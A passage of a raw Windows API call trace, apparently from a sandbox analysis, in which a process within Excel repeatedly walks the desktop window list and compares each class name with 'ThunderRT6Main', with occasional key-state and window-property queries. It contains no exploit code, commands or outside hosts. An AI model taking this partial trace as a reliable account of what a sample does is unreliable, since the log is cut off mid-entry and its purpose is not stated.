| out: lpClassName="PNIHiddenWnd") returned 12 [0082.570] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0082.570] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0082.570] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0082.570] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0082.570] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0082.570] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0082.570] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0082.570] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.570] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.570] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0082.570] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0082.570] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0082.570] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0082.570] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0082.570] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0082.570] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.571] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.571] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0082.571] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0082.571] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0082.571] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0082.571] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0082.571] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0082.571] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.571] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.571] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0082.571] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0082.571] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0082.571] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0082.571] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0082.571] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0082.571] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0082.571] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0082.571] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0082.571] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0082.571] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.571] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.571] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0082.571] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0082.571] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0082.571] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0082.571] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0082.571] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0082.571] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.572] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.572] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0082.572] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0082.572] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0082.572] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0082.572] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0082.572] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0082.572] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.572] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.572] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0082.572] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0082.572] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0082.572] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0082.572] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0082.572] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0082.572] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0082.572] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0082.572] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0082.572] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0082.572] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0082.572] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0082.572] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0082.572] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0082.572] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0082.572] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0082.572] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0082.573] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0082.573] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0082.573] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0082.573] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0082.573] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0082.573] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0082.573] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0082.573] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0082.573] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0082.573] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0082.573] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0082.573] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0082.573] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0082.573] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0082.573] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0082.573] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0082.573] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0082.573] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0082.573] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0082.573] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0082.573] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0082.573] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0082.573] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0082.573] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0082.573] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0082.573] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.574] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.574] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0082.574] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0082.574] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0082.574] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0082.574] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0082.574] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0082.574] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0082.574] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0082.574] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0082.574] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0082.574] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.574] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.574] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0082.574] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0082.574] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0082.574] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0082.574] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0082.574] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0082.574] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0082.574] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0082.574] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0082.574] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0082.574] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0082.574] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0082.574] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0082.575] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0082.575] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.575] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.575] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0082.575] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0082.575] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0082.575] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0082.575] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0082.575] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0082.575] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.575] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.575] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0082.575] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0082.575] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0082.575] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0082.575] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0082.575] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x20352 [0082.575] GetClassNameA (in: hWnd=0x20352, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0082.575] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0082.575] GetWindowThreadProcessId (in: hWnd=0x20352, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd6c [0082.575] GetWindow (hWnd=0x20352, uCmd=0x2) returned 0x302d8 [0082.575] GetClassNameA (in: hWnd=0x302d8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.575] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.575] GetWindowThreadProcessId (in: hWnd=0x302d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd6c [0082.575] GetWindow (hWnd=0x302d8, uCmd=0x2) returned 0x302d6 [0082.576] GetClassNameA (in: hWnd=0x302d6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0082.576] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0082.576] GetWindowThreadProcessId (in: hWnd=0x302d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd54 [0082.576] GetWindow (hWnd=0x302d6, uCmd=0x2) returned 0x100ec [0082.576] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0082.576] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0082.576] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0082.576] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0082.576] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7d9f610 [0082.576] IMalloc:Free (This=0x7fefecb5380, pv=0x7d9f610) [0085.463] GetAsyncKeyState (vKey=27) returned 0 [0085.463] GetCurrentThreadId () returned 0xbdc [0085.463] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0085.463] GetDesktopWindow () returned 0x10010 [0085.463] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0085.463] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.463] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.463] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.463] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0085.463] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.463] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.463] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.463] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0085.463] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.463] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.463] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.463] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0085.463] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0085.463] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0085.464] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0085.464] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0085.464] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.464] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.464] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0085.464] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0085.464] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0085.464] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0085.464] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0085.464] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0085.464] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.464] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.464] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.464] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0085.464] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.464] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.464] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.464] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0085.464] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.464] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.464] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.464] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0085.464] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.464] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.464] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.465] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0085.465] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.465] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.465] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.465] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0085.465] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.465] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.465] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.465] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0085.465] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.465] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.465] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.465] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0085.465] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0085.465] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0085.465] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.465] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0085.465] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.465] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.465] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.465] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0085.465] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0085.465] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0085.465] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.465] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0085.465] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0085.465] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0085.466] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.466] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0085.466] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.466] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.466] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0085.466] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0085.466] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.466] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.466] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.466] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0085.466] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0085.466] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0085.466] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.466] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0085.466] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0085.466] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0085.466] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.466] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0085.466] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0085.466] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0085.466] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0085.466] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.466] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.466] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.466] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0085.466] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0085.466] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0085.466] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0085.467] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0085.467] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0085.467] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.467] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0085.467] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0085.467] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0085.467] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0085.467] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0085.467] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0085.467] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.467] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0085.467] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0085.467] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0085.467] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0085.467] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18d5b0, 